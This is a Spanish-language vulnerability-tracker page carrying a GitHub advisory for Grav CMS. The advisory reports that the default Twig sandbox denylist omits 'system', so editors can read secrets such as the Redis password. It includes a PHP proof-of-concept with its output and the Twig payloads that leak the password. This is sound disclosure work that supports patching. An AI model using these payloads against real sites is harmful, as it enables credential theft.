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Advisory · GitHub · Packagist · getgrav/grav

GHSA-XJW5-Q542-3VMR

Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled

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CVSS
—
high
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
Parche1 versión2.0.16
Exposición64 dDesde la divulgación, 17 sept 2026, 3:27 p. m.
Detección60 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
Remediar en la ventana regular de mantenimiento
Estimación de Llama con el árbol SSVC de CISA a partir de la severidad declarada por GHSA (alta) y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico parcial. Hay versiones corregidas disponibles.
Hmm… no me convence. Vigílala de cerquita.Las PoC crecen rápido, como las llamas bebé.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada +1
Explotación
Remediación
Monitoreo
Detectada
17 sept 26
17 nov 26
21 nov 26
17 sept 26
4 oct 26
20 oct 26
5 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-XJW5-Q542-3VMR divulgada
Divulgación Modificada Última actualización del registro
Monitoreo Detectada Ingresó al índice
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

Summary

`system/config/security.yaml`'s default `twig_sandbox.config_denied_paths` list
(`plugins`, `streams`, `security`, `backups`, `scheduler`) omits the `system` prefix.
When an operator enables the documented, non-default `twig_content.config_access: true`
setting (intended to safely expose low-sensitivity values like `site.title` to
editor-authored Twig content), any real secret stored under `system.*` , for example
`system.cache.redis.password` , is also exposed, both via `config.get(...)` and via
`config.toArray()`, to any user with page-edit permission.

This is a follow-up gap in the fix for GHSA-j274-39qw-32c9 (config.toArray() secret
exfiltration): that fix correctly introduced a `SandboxConfig` facade with a denylist,
but the shipped default denylist is incomplete.

Environment used to verify

  • Grav commit at HEAD of the default branch, `GRAV_VERSION` `2.0.15`
  • PHP 8.3.6 with curl, zip, dom, gd extensions installed
  • Full `composer install --no-dev` run against the real repository (no mocked

Commands run to set up the verification environment

git clone https://github.com/getgrav/grav.git
cd grav

# install missing PHP extensions required by composer.json
apt-get install -y php8.3-curl php8.3-zip php8.3-xml php8.3-gd

# composer.phar fetched directly from GitHub releases
curl -sL -o /tmp/composer.phar \
  "https://github.com/composer/composer/releases/latest/download/composer.phar"

COMPOSER_ALLOW_SUPERUSER=1 php /tmp/composer.phar install --no-dev --no-interaction

Proof of Concept

Confirmed the real, currently-shipped config field first, rather than assuming one:

grep -n "redis" -A3 system/config/system.yaml
#   redis:
#     socket: false
#     password:                # <- system.cache.redis.password, a real field
#     database:

grep -n "cache.redis.password" -A6 system/blueprints/config/system.yaml
#   cache.redis.password:      # <- confirmed exposed in the admin UI as "REDIS Password"
#     type: text

`sandbox_test.php` , loads the real classes via the real autoloader, no mocking of
`Config` or `SandboxConfig` themselves:

<?php
require 'vendor/autoload.php';

use Grav\Common\Config\Config;
use Grav\Common\Twig\Sandbox\SandboxConfig;

// Real field: system.cache.redis.password
// (system/config/system.yaml line 138; blueprint in
// system/blueprints/config/system.yaml, "cache.redis.password")
$configTree = [
    'system' => [
        'cache' => [
            'driver' => 'redis',
            'redis' => [
                'server'   => '10.0.0.5',
                'password' => 'REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK',
            ],
        ],
    ],
    'plugins' => [
        'someplugin' => ['api_key' => 'plugin-secret-should-be-blocked'],
    ],
    'site' => ['title' => 'My Site'],
];

$config = new Config($configTree);

// exact default list shipped in system/config/security.yaml
$defaultDeniedPaths = ['plugins', 'streams', 'security', 'backups', 'scheduler'];

$sandboxConfig = new SandboxConfig($config, $defaultDeniedPaths);

echo "plugins.someplugin.api_key: ";
var_dump($sandboxConfig->get('plugins.someplugin.api_key', 'REDACTED'));

echo "system.cache.redis.password: ";
var_dump($sandboxConfig->get('system.cache.redis.password', 'REDACTED'));

print_r($sandboxConfig->toArray());

Run:

php sandbox_test.php

Output:

plugins.someplugin.api_key: string(8) "REDACTED"

system.cache.redis.password: string(42) "REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK"

Array
(
    [system] => Array
        (
            [cache] => Array
                (
                    [driver] => redis
                    [redis] => Array
                        (
                            [server] => 10.0.0.5
                            [password] => REAL_REDIS_PASSWORD_ABC123_SHOULD_NOT_LEAK
                        )

                )

        )

    [site] => Array
        (
            [title] => My Site
        )

)

`plugins.*` is correctly redacted; `system.cache.redis.password` is not, and appears in
full both via targeted `get()` and via bulk `toArray()`.

Confirming the Twig-reachable path is real

`system/config/security.yaml`'s sandbox policy explicitly allow-lists `SandboxConfig`'s
methods for use inside sandboxed page-content templates:

- class: 'Grav\Common\Twig\Sandbox\SandboxConfig'
  methods: 'get, toarray, value, offsetget, offsetexists'

So, with `twig_content.process_enabled: true` and `twig_content.config_access: true`
both set (both documented, operator-controlled settings), a page containing:

{{ config.get('system.cache.redis.password') }}

or

{{ config.toArray() }}

renders the real Redis password directly into the page output for any user with
page-edit permission.

Impact

Any site that (a) uses Redis for caching with a password set, and (b) has enabled the
documented `config_access` opt-in (intended only to expose things like `site.title`),
exposes that Redis password , and potentially other future `system.*` secrets , to
every user with page-edit access, not just administrators. This defeats the purpose of
the redaction list added in GHSA-j274-39qw-32c9 for any deployment using this specific
combination of otherwise-legitimate settings.

Suggested fix

Add `system` to the default `config_denied_paths` list in
`system/config/security.yaml`, or invert the model to an allowlist (e.g. `site`, and
any other subtree confirmed non-sensitive) so a future secret-bearing config key added
under `system.*` doesn't silently bypass the sandbox by default.

Affected component

- `system/config/security.yaml`, `twig_sandbox.config_denied_paths` default value
- `system/src/Grav/Common/Twig/Sandbox/SandboxConfig.php` (behaves correctly given its
input; the gap is in the default list passed to it)
```

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida
getgrav/grav< 2.0.16
2.0.16
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Packagistgetgrav/grav
Corregida 2.0.16 — —
Versiones corregidas2.0.16
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://nvd.nist.gov/vuln/detail/CVE-2026-76846
Otrahttps://github.com/getgrav/grav/security/advisories/GHSA-xjw5-q542-3vmr
Otrahttps://github.com/getgrav/grav
Otrahttps://www.vulncheck.com/advisories/grav-before-information-disclosure-via-twig-sandbox

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.